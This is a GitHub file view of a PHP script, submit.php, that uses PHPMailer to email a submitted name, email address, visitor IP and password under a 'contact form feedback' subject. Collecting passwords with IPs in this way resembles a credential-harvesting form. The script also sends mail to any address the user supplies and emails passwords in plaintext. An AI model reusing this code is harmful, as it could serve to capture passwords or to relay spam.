-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsubmit.php
60 lines (50 loc) · 1.6 KB
/
submit.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
require('phpmailer/class.phpmailer.php');
require('phpmailer/class.smtp.php');
/* config start */
$emailAddress = $_POST['email']; // 'your Email here. I set entered email to test ';
$fromName = "example company";
$smtp = false;
/* NOTE: IF YOU RECEIVED THIS MESSAGE "Error Occurred: Could not instantiate mail function." YOU SHOULD SET SMTP CONFIG
* AND SET $SMTP VALUE TO TRUE */
/* config end */
$email = $_POST['email'];
if (isset($_POST['password'])) {
$password = $_POST['password'];
$msg = 'Name: ' . $_POST['name'] . '<br />
Email: ' . $_POST['email'] . '<br />
IP: ' . $_SERVER['REMOTE_ADDR'] . '<br /><br />
Password:<br /><br />
' . $password . '
';
} else {
$msg = 'Email: ' . $_POST['email'] . '<br />
IP: ' . $_SERVER['REMOTE_ADDR'] . '<br /><br />
';
}
$mail = new PHPMailer(); // create an object of the class
if ($smtp) {
$mail->IsSMTP();
$mail->Host = "smtp.gmail.com";
$mail->SMTPSecure = "ssl";
$mail->Port = 465;
// optional
// used only when SMTP requires authentication
$mail->SMTPAuth = true;
$mail->Username = 'GMAIL USERNAME';
$mail->Password = 'YOUR GMAIL PASSWORD';
}
$mail->Timeout = 360;
$mail->Subject = "A new mail from " . $_POST['email'] . " | contact form feedback";
$mail->From = $email;
$mail->FromName = $email;
$mail->AddReplyTo($emailAddress, $fromName);
$mail->AddAddress($emailAddress, '');
$mail->MsgHTML($msg);
$mail->Body = $msg;
if ($mail->Send()) {
echo "<div class='alert alert-success'>Your Message Sent!</div>";
} else {
echo "<div class='alert alert-error'>Error Occurred: " . $mail->ErrorInfo . "</div>";
}
?>